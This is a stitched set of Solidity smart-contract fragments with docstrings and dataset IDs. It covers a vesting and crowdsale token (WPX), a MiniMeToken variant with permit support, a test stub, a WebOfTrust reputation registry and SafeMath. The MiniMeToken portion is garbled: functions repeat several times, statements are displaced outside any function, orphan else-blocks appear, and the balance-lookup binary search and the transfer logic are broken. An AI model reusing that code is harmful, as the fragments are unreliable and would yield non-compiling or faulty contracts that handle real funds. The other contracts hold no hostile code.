uint256 vestedTokens = SafeMath.div(
SafeMath.mul(
tokens,
SafeMath.sub(time, start)
),
SafeMath.sub(vesting, start)
);
return vestedTokens;
}
/**
* @dev Get all information about a specifc grant.
* @param _holder The address which will have its tokens revoked.
* @param _grantId The id of the token grant.
* @return Returns all the values that represent a TokenGrant(address, value, start, cliff,
* revokability, burnsOnRevoke, and vesting) plus the vested value at the current time.
*/
function tokenGrant(address _holder, uint _grantId) constant returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) {
TokenGrant grant = grants[_holder][_grantId];
granter = grant.granter;
value = grant.value;
start = grant.start;
cliff = grant.cliff;
vesting = grant.vesting;
revokable = grant.revokable;
burnsOnRevoke = grant.burnsOnRevoke;
vested = vestedTokens(grant, uint64(now));
}
/**
* @dev Get the amount of vested tokens at a specific time.
* @param grant TokenGrant The grant to be checked.
* @param time The time to be checked
* @return An uint representing the amount of vested tokens of a specific grant at a specific time.
*/
function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return calculateVestedTokens(
grant.value,
uint256(time),
uint256(grant.start),
uint256(grant.cliff),
uint256(grant.vesting)
);
}
/**
* @dev Calculate the amount of non vested tokens at a specific time.
* @param grant TokenGrant The grant to be checked.
* @param time uint64 The time to be checked
* @return An uint representing the amount of non vested tokens of a specifc grant on the
* passed time frame.
*/
function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return grant.value.sub(vestedTokens(grant, time));
}
/**
* @dev Calculate the date when the holder can trasfer all its tokens
* @param holder address The address of the holder
* @return An uint representing the date of the last transferable tokens.
*/
function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) {
date = uint64(now);
uint256 grantIndex = grants[holder].length;
for (uint256 i = 0; i < grantIndex; i++) {
date = SafeMath.max64(grants[holder][i].vesting, date);
}
}
}
// QUESTIONS FOR AUDITORS:
// - Considering we inherit from VestedToken, how much does that hit at our gas price?
// - Ensure max supply is 98,000,000
// - Ensure that even if not totalSupply is sold, tokens would still be transferrable after (we will up to totalSupply by creating WPX tokens)
// vesting: 365 days, 365 days / 4 vesting
contract WPXToken is VestedToken {
//FIELDS
string public name = "WorkPress"; //(important input)
string public symbol = "WPX"; //(important input)
uint public decimals = 4; //(important input)
// Multiplier for the decimals
uint private constant DECIMALS = 10000;
uint public totalSupply = 98000000*DECIMALS; //(important input)
//CONSTANTS
//Time limits
uint public constant STAGE_ONE_TIME_END = 38 days; // first day bonus (important input)
uint public constant STAGE_TWO_TIME_END = 58 days; // first week bonus (important input)
uint public constant STAGE_THREE_TIME_END = 69 days; //(important input)
//Prices of WPX
uint public constant PRICE_STANDARD = 2000*DECIMALS; // WPX received per one ETH; Approximately $0.15 if ETH price $300. MAX_SUPPLY / (valuation / ethPrice)
uint public constant PRICE_STAGE_ONE = PRICE_STANDARD * 150/100; // 1ETH = 100% Bonus 1.5X or 50% 1ETH = 3000 WPX ~ $0.10(important input)
uint public constant PRICE_STAGE_TWO = PRICE_STANDARD * 125/100; // 1ETH = 25% ICO Bonus 1ETH = 2500 WPX ~ $0.125(important input)
uint public constant PRICE_STAGE_THREE = PRICE_STANDARD; // Standard Price no bonus 1ETH = 2000 WPX ~ $0.15(important input)
//WPX Token Limits
uint public constant ALLOC_TEAM = 10000000*DECIMALS; // team + advisors to main address (important input)
uint public constant ALLOC_BOUNTIES = 3000000*DECIMALS; // Reserved Address (important input)
uint public constant ALLOC_WINGS = 5000000*DECIMALS; // Reserved Address (important input)
uint public constant ALLOC_CROWDSALE = 80000000*DECIMALS; // Crowdsale to Main address (important input)
uint public constant PREBUY_PORTION_MAX = 20000000*DECIMALS; // this is redundantly more than what will be pre-sold
//ASSIGNED IN INITIALIZATION
//Start and end times
uint public publicStartTime; // Time in seconds public crowd fund starts.
uint public privateStartTime; // Time in seconds - at this time there is no intention to do a private session.
uint public publicEndTime; // Time in seconds crowdsale ends
uint public hardcapInEth;
//Special Addresses
address public multisigAddress; // Address to which all ether flows.
address public wpxTeamAddress; // Address to which ALLOC_TEAM, ALLOC_BOUNTIES, ALLOC_WINGS is (ultimately) sent to.
address public ownerAddress; // Address of the contract owner. Can halt the crowdsale.
address public preBuy1; // Address used by pre-buy
address public preBuy2; // Address used by pre-buy
address public preBuy3; // Address used by pre-buy
uint public preBuyPrice1; // price for pre-buy
uint public preBuyPrice2; // price for pre-buy
uint public preBuyPrice3; // price for pre-buy
//Running totals
uint public etherRaised; // Total Ether raised.
uint public WPXSold; // Total WPX created
uint public prebuyPortionTotal; // Total of Tokens purchased by pre-buy. Not to exceed PREBUY_PORTION_MAX.
//booleans
bool public halted; // halts the crowd sale if true.
// MODIFIERS
//Is currently in the period after the private start time and before the public start time.
modifier is_pre_crowdfund_period() {
if (now >= publicStartTime || now < privateStartTime) revert();
_;
}
//Is currently the crowdfund period
modifier is_crowdfund_period() {
if (now < publicStartTime) revert();
if (isCrowdfundCompleted()) revert();
_;
}
// Is completed
modifier is_crowdfund_completed() {
if (!isCrowdfundCompleted()) revert();
_;
}
function isCrowdfundCompleted() internal returns (bool) {
if (now > publicEndTime || WPXSold+50000*DECIMALS >= ALLOC_CROWDSALE || etherRaised >= hardcapInEth*1000000000000000000) {return true; }
return false;
}
//May only be called by the owner address
modifier only_owner() {
if (msg.sender != ownerAddress) revert();
_;
}
//May only be called if the crowdfund has not been halted
modifier is_not_halted() {
if (halted) revert();
_;
}
// EVENTS
event PreBuy(uint _amount);
event Buy(address indexed _recipient, uint _amount);
// Initialization contract assigns address of crowdfund contract and end time.
function WPXToken(
address _multisig,
address _wpxTeam,
uint _publicStartTime,
uint _privateStartTime,
uint _hardcapInEth,
address _prebuy1, uint _preBuyPrice1,
address _prebuy2, uint _preBuyPrice2,
address _prebuy3, uint _preBuyPrice3
) {
ownerAddress = msg.sender;
publicStartTime = _publicStartTime;
privateStartTime = _privateStartTime;
publicEndTime = _publicStartTime + 69 days; // (important input)
multisigAddress = _multisig;
wpxTeamAddress = _wpxTeam;
hardcapInEth = _hardcapInEth;
preBuy1 = _prebuy1;
preBuyPrice1 = _preBuyPrice1;
preBuy2 = _prebuy2;
preBuyPrice2 = _preBuyPrice2;
preBuy3 = _prebuy3;
preBuyPrice3 = _preBuyPrice3;
balances[wpxTeamAddress] += ALLOC_BOUNTIES;
balances[wpxTeamAddress] += ALLOC_WINGS;
balances[ownerAddress] += ALLOC_TEAM;
balances[ownerAddress] += ALLOC_CROWDSALE;
}
// Transfer amount of tokens from sender account to recipient.
// Only callable after the crowd fund is completed
function transfer(address _to, uint _value)
{
if (_to == msg.sender) return; // no-op, allow even during crowdsale, in order to work around using grantVestedTokens() while in crowdsale
if (!isCrowdfundCompleted()) revert();
super.transfer(_to, _value);
}
// Transfer amount of tokens from a specified address to a recipient.
// Transfer amount of tokens from sender account to recipient.
function transferFrom(address _from, address _to, uint _value)
is_crowdfund_completed
{
super.transferFrom(_from, _to, _value);
}
//constant function returns the current WPX price.
function getPriceRate()
constant
returns (uint o_rate)
{
uint delta = SafeMath.sub(now, publicStartTime);
if (delta > STAGE_TWO_TIME_END) return PRICE_STAGE_THREE;
if (delta > STAGE_ONE_TIME_END) return PRICE_STAGE_TWO;
return (PRICE_STAGE_ONE);
}
// calculates wmount of WPX we get, given the wei and the rates we've defined per 1 eth
function calcAmount(uint _wei, uint _rate)
constant
returns (uint)
{
return SafeMath.div(SafeMath.mul(_wei, _rate), 1 ether);
}
// Given the rate of a purchase and the remaining tokens in this tranche, it
// will throw if the sale would take it past the limit of the tranche.
// Returns `amount` in scope as the number of WPX tokens that it will purchase.
function processPurchase(uint _rate, uint _remaining)
internal
returns (uint o_amount)
{
o_amount = calcAmount(msg.value, _rate);
if (o_amount > _remaining) revert();
if (!multisigAddress.send(msg.value)) revert();
balances[ownerAddress] = balances[ownerAddress].sub(o_amount);
balances[msg.sender] = balances[msg.sender].add(o_amount);
WPXSold += o_amount;
etherRaised += msg.value;
}
//Special Function can only be called by pre-buy and only during the pre-crowdsale period.
function preBuy()
payable
is_pre_crowdfund_period
is_not_halted
{
// Pre-buy participants would get the first-day price, as well as a bonus of vested tokens
uint priceVested = 0;
if (msg.sender == preBuy1) priceVested = preBuyPrice1;
if (msg.sender == preBuy2) priceVested = preBuyPrice2;
if (msg.sender == preBuy3) priceVested = preBuyPrice3;
if (priceVested == 0) revert();
uint amount = processPurchase(PRICE_STAGE_ONE + priceVested, SafeMath.sub(PREBUY_PORTION_MAX, prebuyPortionTotal));
grantVestedTokens(msg.sender, calcAmount(msg.value, priceVested),
uint64(now), uint64(now) + 91 days, uint64(now) + 365 days,
false, false
);
prebuyPortionTotal += amount;
PreBuy(amount);
}
//Default function called by sending Ether to this address with no arguments.
//Results in creation of new WPX Tokens if transaction would not exceed hard limit of WPX Token.
function()
payable
is_crowdfund_period
is_not_halted
{
uint amount = processPurchase(getPriceRate(), SafeMath.sub(ALLOC_CROWDSALE, WPXSold));
Buy(msg.sender, amount);
}
// To be called at the end of crowdfund period
// WARNING: transfer(), which is called by grantVestedTokens(), wants a minimum message length
function grantVested(address _wpxTeamAddress, address _wpxFundAddress)
is_crowdfund_completed
only_owner
is_not_halted
{
// Grant tokens pre-allocated for the team
grantVestedTokens(
_wpxTeamAddress, ALLOC_TEAM,
uint64(now), uint64(now) + 91 days , uint64(now) + 365 days,
false, false
);
// Grant tokens that remain after crowdsale to the WPX fund, vested for 2 years
grantVestedTokens(
_wpxFundAddress, balances[ownerAddress],
uint64(now), uint64(now) + 182 days , uint64(now) + 730 days,
false, false
);
}
//May be used by owner of contract to halt crowdsale and no longer except ether.
function toggleHalt(bool _halted)
only_owner
{
halted = _halted;
}
//failsafe drain
function drain()
only_owner
{
if (!ownerAddress.send(this.balance)) revert();
}
}
|
Shortcuts for before cliff and after vesting cases. Interpolate all vested tokens. As before cliff the shortcut returns 0, we can use just calculate a value in the vesting rect (as shown in above's figure) vestedTokens = tokens * (time - start) / (vesting - start)
|
{
if (time < cliff) return 0;
if (time >= vesting) return tokens;
uint256 vestedTokens = SafeMath.div(
SafeMath.mul(
tokens,
SafeMath.sub(time, start)
),
SafeMath.sub(vesting, start)
);
return vestedTokens;
}
| 5,424,875
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] |
./partial_match/100/0xfFBAbEb49be77E5254333d5fdfF72920B989425f/sources/contracts/MiniMeToken.sol
|
@dev The actual token contract, the default controller is the msg.sender that deploys the contract, so usually this token will be deployed by a token controller contract, which Giveth will call a "Campaign" The chainId is hardcoded since solidity ^0.4.24 does not support `chainid` so we cannot get it dynamically xDAI = 0x64 (100) bytes32 public view PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public view TRANSFER_WITH_AUTHORIZATION_TYPEHASH = keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)"); bytes32 public view EIP712DOMAIN_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") bytes32 public view VERSION_HASH = keccak256("1")
|
contract MiniMeToken is Controlled {
uint256 public constant CHAINID = 0x64;
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267;
bytes32 public constant EIP712DOMAIN_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 public constant VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
MiniMeTokenFactory _tokenFactory,
MiniMeToken _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public
{
tokenFactory = _tokenFactory;
parentToken = _parentToken;
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
nameHash = keccak256(_tokenName);
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(ITokenController(controller).onTransfer(_from, _to, _amount) == true);
}
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(ITokenController(controller).onTransfer(_from, _to, _amount) == true);
}
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
return true;
}
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(ITokenController(controller).onTransfer(_from, _to, _amount) == true);
}
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(ITokenController(controller).onTransfer(_from, _to, _amount) == true);
}
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
return true;
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
Transfer(_from, _to, _amount);
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
_approve(msg.sender, _spender, _amount);
return true;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(transfersEnabled);
require((_amount == 0) || (allowed[_owner][_spender] == 0));
if (isContract(controller)) {
require(ITokenController(controller).onApprove(_owner, _spender, _amount) == true);
}
allowed[_owner][_spender] = _amount;
Approval(_owner, _spender, _amount);
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(transfersEnabled);
require((_amount == 0) || (allowed[_owner][_spender] == 0));
if (isContract(controller)) {
require(ITokenController(controller).onApprove(_owner, _spender, _amount) == true);
}
allowed[_owner][_spender] = _amount;
Approval(_owner, _spender, _amount);
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
_spender.receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function permit(
address _owner,
address _spender,
uint256 _value,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(_deadline >= block.timestamp, "permit: AUTH_EXPIRED");
bytes32 encodeData = keccak256(
abi.encode(
PERMIT_TYPEHASH,
_owner,
_spender,
_value,
nonces[_owner]++,
_deadline
)
);
_validateSignedData(_owner, encodeData, _v, _r, _s);
_approve(_owner, _spender, _value);
}
function getDomainSeparator() public constant returns (bytes32) {
return keccak256(
abi.encode(
EIP712DOMAIN_HASH,
nameHash,
VERSION_HASH,
CHAINID,
address(this)
)
);
}
function _validateSignedData(
address _signer,
bytes32 _encodeData,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal constant {
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", getDomainSeparator(), _encodeData)
);
address recoveredAddress = ecrecover(digest, _v, _r, _s);
require(
recoveredAddress != 0 && recoveredAddress == _signer,
"_validateSignedData: INVALID_SIGNATURE"
);
}
function transferWithAuthorization(
address _from,
address _to,
uint256 _value,
uint256 _validAfter,
uint256 _validBefore,
bytes32 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
require(block.timestamp > _validAfter, "transferWithAuthorization: AUTH_NOT_YET_VALID");
require(block.timestamp < _validBefore, "transferWithAuthorization: AUTH_EXPIRED");
require(!authorizationState[_from][_nonce], "transferWithAuthorization: AUTH_ALREADY_USED");
bytes32 encodeData = keccak256(
abi.encode(
TRANSFER_WITH_AUTHORIZATION_TYPEHASH,
_from,
_to,
_value,
_validAfter,
_validBefore,
_nonce
)
);
_validateSignedData(_from, encodeData, _v, _r, _s);
authorizationState[_from][_nonce] = true;
require(transfersEnabled);
require(doTransfer(_from, _to, _value));
AuthorizationUsed(_from, _nonce);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
return 0;
}
return getValueAt(balances[_owner], _blockNumber);
}
}
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
return 0;
}
return getValueAt(balances[_owner], _blockNumber);
}
}
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
return 0;
}
return getValueAt(balances[_owner], _blockNumber);
}
}
} else {
} else {
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
return 0;
}
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
return 0;
}
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
return 0;
}
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
} else {
} else {
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(MiniMeToken)
{
uint256 snapshot = _snapshotBlock == 0 ? block.number - 1 : _snapshotBlock;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
snapshot,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), snapshot);
return cloneToken;
}
function generateTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
uint previousBalanceTo = balanceOf(_owner);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0)
return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
max = mid-1;
}
}
return checkpoints[min].value;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0)
return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
max = mid-1;
}
}
return checkpoints[min].value;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0)
return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
max = mid-1;
}
}
return checkpoints[min].value;
}
} else {
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
require(_value <= uint128(-1));
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
require(_value <= uint128(-1));
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
} else {
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0)
return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0)
return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () external payable {
require(isContract(controller));
require(ITokenController(controller).proxyPayment.value(msg.value)(msg.sender) == true);
}
function claimTokens(address _token) onlyController public {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
function claimTokens(address _token) onlyController public {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
}
| 16,674,439
|
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./full_match/3/0x97B71728DeD841E6aE6B7B11a961F8D5d34F0349/sources/browser/test_test.sol
|
use the return value (true or false) to test the contract
|
function check2() public view returns (bool) {
return true;
}
| 14,257,444
|
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pragma solidity ^0.5.0;
// import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "@nomiclabs/buidler/console.sol";
import "./LBCR.sol";
import "./UserProxy.sol";
import "./UserProxyFactory.sol";
import "./ILBCR.sol";
/// @title Registers users, protocols, aggregates reputation
contract WebOfTrust {
address constant aETHAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
UserProxyFactory userProxyFactory;
LBCR[] lbcrs;
mapping (address => address) protocolToLBCR;
mapping (address => address) protocolToProxy;
mapping (address => bool) protocolProxy;
uint agentFactorDecimals;
constructor() public {
userProxyFactory = new UserProxyFactory(address(this));
agentFactorDecimals = 3;
}
function() external payable {
console.log("reached the fallback");
}
/// @notice Sign up with Byzantic as a user
function registerAgent() external {
userProxyFactory.registerAgent(msg.sender);
}
/// @notice Check if agent has signed up with Byzantic
/// @param agent The address of `msg.sender` when calling `registerAgent()`
/// @return isAgentRegistered boolean value representing the membership of the agent in Byzantic
function isAgentRegistered(address agent) public view returns (bool) {
return userProxyFactory.isAgentRegistered(agent);
}
/// @notice Integrate your protocol with Byzantic
/// @dev You need to deploy a Proxy contract for your protocol to integrate with Byzantic.
/// After calling `addProtocolIntegration`, you need to call `getProtocolLBCR` and configure your LBCR.
/// @param protocolAddress The address of the contract in your protocol you want to integrate with Byzantic.
/// @param protocolProxyAddress The address of the proxy to your contract. Written in the same style as the `SimpleLendingProxy` example contract.
function addProtocolIntegration(address protocolAddress, address protocolProxyAddress) external {
require(protocolToLBCR[protocolAddress] == address(0), "protocol has already been added");
LBCR lbcr = new LBCR();
protocolToLBCR[protocolAddress] = address(lbcr);
lbcr.addAuthorisedContract(address(userProxyFactory));
lbcr.addAuthorisedContract(msg.sender);
lbcrs.push(lbcr);
userProxyFactory.addLBCR(address(lbcr));
protocolToProxy[protocolAddress] = protocolProxyAddress;
protocolProxy[protocolProxyAddress] = true;
}
/// @return userProxyFactoryAddress The address of the UserProxyFactory contract
function getUserProxyFactoryAddress() public view returns (address) {
return address(userProxyFactory);
}
/// @return LBCR The address of the LBCR contract of a given protocol
function getProtocolLBCR(address protocolAddress) public view returns (address) {
return protocolToLBCR[protocolAddress];
}
/// @notice Record a user action into the LBCR, to update their score
/// @dev The `require` statement replaces a modifier that prevents unauthorised calls
/// @param protocolAddress The address of the contract in your protocol you want to integrate with Byzantic.
/// @param agent The address of the user whose reputation is being updated in the LBCR
/// @param action The action that the user has performed and is being rewarded / punished for.
function updateLBCR(address protocolAddress, address agent, uint256 action) public {
address proxyAddress = protocolToProxy[protocolAddress];
require(
proxyAddress == msg.sender,
"caller is either not a registered protocol or not the proxy of the destination protocol"
);
LBCR lbcr = LBCR(protocolToLBCR[protocolAddress]);
lbcr.update(agent, action);
}
/// @notice Uses information from all LBCRs and the subjective measures
/// of compatibility between them to compute how much collateral a
/// user should pay.
/// @param agent The address of the user whose reputation is being computed
/// @param protocol Address of the protocol with respect to which the reputation is being computed.
/// @return DiscountedCollateral - User reputation, expressed as the percentage of collateral they need to pay.
/// A return value of 900 means the agent only needs
/// to pay 90% of the normally required collateral (so the result needs to be divided by 10^3).
/// If the agent has not signed up with Byzantic, they need to pay the full collateral (100%)
function getAggregateAgentFactorForProtocol(address agent, address protocol) external view returns (uint256) {
uint agentFactorSum = 0;
uint agentFactorDenominator = 0;
address LBCRAddress = protocolToLBCR[protocol];
for(uint i = 0; i < lbcrs.length; i ++) {
LBCR lbcr = lbcrs[i];
if(lbcr.getInteractionCount(agent) > 0) {
agentFactorSum += (lbcr.getAgentFactor(agent) * ILBCR(LBCRAddress).getCompatibilityScoreWith(address(lbcr)));
agentFactorDenominator += ILBCR(LBCRAddress).getCompatibilityScoreWith(address(lbcr));
}
}
if(agentFactorDenominator > 0) {
return agentFactorSum / agentFactorDenominator;
}
// agent has not signed up with Byzantic
return 1000;
}
/// @notice For each of the LBCRs in Byzantic, if the round has elapsed, users will be curated into layers according to their score
function curateLBCRs() public {
for(uint i = 0; i < lbcrs.length; i++) {
lbcrs[i].curateIfRoundEnded();
}
}
/// @return agentFactorDecimals Number of decimals used to express the aggregate agent factor returned by `getAggregateAgentFactorForProtocol()`
function getAgentFactorDecimals() external view returns (uint) {
return agentFactorDecimals;
}
function isProtocolProxy(address addr) external returns (bool) {
return protocolProxy[addr];
}
function getProtocolProxy(address addr) external returns (address) {
return protocolToProxy[addr];
}
}
|
@return userProxyFactoryAddress The address of the UserProxyFactory contract
|
function getUserProxyFactoryAddress() public view returns (address) {
return address(userProxyFactory);
}
| 2,512,816
|
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pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
